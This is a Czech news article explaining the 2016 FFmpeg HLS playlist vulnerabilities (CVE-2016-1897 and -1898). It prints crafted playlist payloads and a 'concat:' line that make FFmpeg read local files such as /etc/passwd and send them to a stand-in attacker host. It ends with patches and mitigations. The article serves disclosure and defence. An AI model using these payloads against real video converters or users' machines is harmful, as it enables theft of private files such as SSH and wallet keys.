Projekt FFmpeg představuje univerzální framework pro přehrávání, záznam a streamování multimédií. Jeho funkce pro zakódování a dekódování nejrůznějších audio/video formátů je využívána v drtivé většině multimediálních přehrávačů, jako mpv, MPlayer nebo VLC, stejně jako populárního webového prohlížeče Chromium/Chrome. Samostatně pak disponuje konzolovou utilitou ffmpeg, která je hojně využívána při nejrůznějších automatizovaných konverzích video formátů.
Je zřejmé, že podpora velkého množství vstupních a výstupních formátů spolu s velkým množstvím kodeků vede na ohromné množství kódu (podle OpenHUB jde přibližně o milion řádků) s velkým potenciálem k chybám. Nově popsaný útok, který dostal identifikátory CVE-2016–1897 a CVE-2016–1898, však nevyužívá žádnou hrubou programátorskou chybu. Spíše jde o chytré použití existujících vstupních modulů pro jiný účel, než bylo zamýšleno, tedy hack v původním smyslu slova.
HTTP Live Streaming
Jedním z formátů, které jsou knihovnou FFmpeg podporovány, je protokol HTTP Live Streaming. Tento protokol byl vyvinut společností Apple pro streamování multimediálních dat prostřednictvím internetu. Specifikace protokolu je otevřená a již víc než šest let prochází procesem standardizace v IETF. Vzhledem k tomu, že jde nejspíše o jediný podporovaný formát streamingu na platformě Apple, stal se velmi rychle populární mezi video službami na webu a postupně vytlačuje zejména protokol RTMP používaný technologií Adobe Flash. Dodejme na okraj, že ke stejnému účelu existuje také mezinárodní standard MPEG-DASH, který je již několik let nasazen například na serveru YouTube.
Princip protokolu HLS spočívá v rozdělení přenášeného proudu na samostatné soubory formátu MPEG-TS. Z těchto segmentů je sestaveno několik playlistů formátu M3U8 s různým rozlišením a datovým tokem, které jsou odkazovány z hlavního playlistu. Přehrávač inteligentně stahuje jednotlivé segmenty, přičemž automaticky přechází mezi kvalitami videa podle velikosti okna přehrávače a rychlosti stahování jednotlivých částí. V případě živého vysílání klient stahuje playlisty opakovaně a získává tak odkazy na nové a nové segmenty.
Přípona obvykle nehraje roli
Důležitým faktorem útoku na FFmpeg je fakt, že při otevírání multimediálních souborů se řídí primárně jejich obsahem. Rozpozná-li po načtení prvních několika bajtů například hlavičku kontejneru Matroska, nasadí demultiplexer tohoto formátu bez ohledu na to, zda má soubor příponu mkv
nebo třeba avi
. Neplatí to ale absolutně; FFmpeg obsahuje například zvláštní režim přehrávání souborů s příponou .txt
. Ty jsou převedeny na video, ve kterém se zobrazí obsah textového souboru.
Útok na webové video konvertory
Použitím dosud zmíněných ingrediencí je možné vykonat útok na nejrůznější webové konvertory video formátů, které na pozadí používají FFmpeg. Zajímá vás třeba, jakou IP adresu má server, na kterém konverze probíhá? Vytvořte soubor, třeba s příponou avi
, s následujícím obsahem:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://ip-echo.ripe.net/#.txt
#EXT-X-ENDLIST
Když se takový soubor pokusí FFmpeg přehrát, detekuje HLS playlist a začne přehrávat prezentované odkazy. Protože zde uvedený odkaz končí textem .txt, je obsah odkazu interpretován jako textový soubor a FFMpeg tedy vytvoří video obsahující text vrácený z daného odkazu.
Variací na takový útok je získání obsahu libovolného lokálního souboru, který je uživateli spouštějícímu FFmpeg dostupný. Stačí jen schéma http://
nahradit za file://
. Zajímavé je, že takovýto útok na FFmpeg byl už v listopadu 2015 řešením jedné z úloh online šifrovací hry 9447 Security Society CTF.
Jak přehrávačem odeslat data?
Poslední ingrediencí, která proměňuje multimediální knihovnu v nástroj k vykrádání soukromých dat, je vstupní protokol concat
. Jeho původním účelem je binární spojení několika vstupních souborů, aby se chovaly jako jeden. Útočník ve zlomyslném video souboru použije například následující odkaz na video:
concat:http://example.com/header.m3u8|file:///etc/passwd
FFmpeg nejprve spojí obsah obou URL a teprve ten začne přehrávat. První ze souborů pak může obsahovat takovéto záhlaví HLS playlistu:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org?
Přítomnost otazníku na konci souboru způsobí, že první řádek lokálního souboru /etc/passwd
je odeslán jako dotaz na server útočníka. Útočník se nemusí omezovat pouze na první řádek. Pomocí jiného protokolu subfile
je možné extrahovat z požadovaného souboru řádek od požadovaného bajtového ofsetu.
Pikantní je, že falešný multimediální soubor, který má vylákat data z klientského zařízení, vůbec nemusí být uživatelem aktivně otevřen. Stačí, když si ho všimne některý z indexovacích robotů, kteří na většině desktopových prostředí pomocí FFmpeg vyrábějí náhledové ikony video souborů.
Co je v ohrožení
Samotný popis zranitelnosti zní poměrně nebezpečně. Útok se týká pouze souborů čitelných uživatelem, který používá FFmpeg, takže v drtivé většině případů jsou systémová data v bezpečí. To by mohla být útěcha pro správně napsané webové služby konverze videa, které proces ffmpeg
spouštějí v izolovaném prostředí. Pro běžné uživatele to žádnou útěchu nepředstavuje, jak vtipně před časem glosoval Randal Munroe:
V ohrožení jsou tak zejména soubory uložené na predikovatelných cestách. Z těch hodnotnějších například osobní SSH klíče, nebo třeba privátní klíče pro Bitcoinové peněženky. Pokud jste tedy nevyměňovali uživatelský SSH klíč po nedávné aféře s roamingem, je teď druhá příležitost.
Oprava je k dispozici
Ačkoli u tohoto bezpečnostního incidentu nedostali vývojáři čas navíc pro publikování opravy, zareagovali velmi rychle. Od soboty jsou k dispozici opravná vydání 2.8.5, 2.7.5, 2.6.7, 2.5.10. Oprava spočívá ve více striktní validaci URL v HLS playlistech (patch 1, 2), takže již například není povoleno použití schématu file://
.
Dočasnou opravu, kterou nasadili vývojáři Arch Linuxu, je zkompilování knihovny s vypnutou podporou pro síť. Taková oprava ovšem zároveň znamená ztrátu použitelnosti spousty utilit, které HLS používají, třeba youtube-dl.
Komplexní software obsahuje komplexní zranitelnosti
Takové je nejspíše poučení z celého incidentu. I při tak běžné činnosti, jakou je přehrávání videa, je třeba počítat s možnými vedlejšími efekty. Tato konkrétní zranitelnost je přitom ještě z těch mírnějších, neboť na rozdíl například od nedávné zranitelnosti knihovny Stagefright na OS Android neumožňuje spuštění útočníkova kódu.
Chyby, jako je tato, se jistě budou opakovat. Dobrou zprávou je, že nejsme zcela bezmocní ve zmírňování následků takových chyb. Má-li váš desktop správně nastaveno povinné řízení přístupu, třeba nástrojem SELinux, nemá multimediální knihovna v ideálním případě přístup k žádným citlivým datům.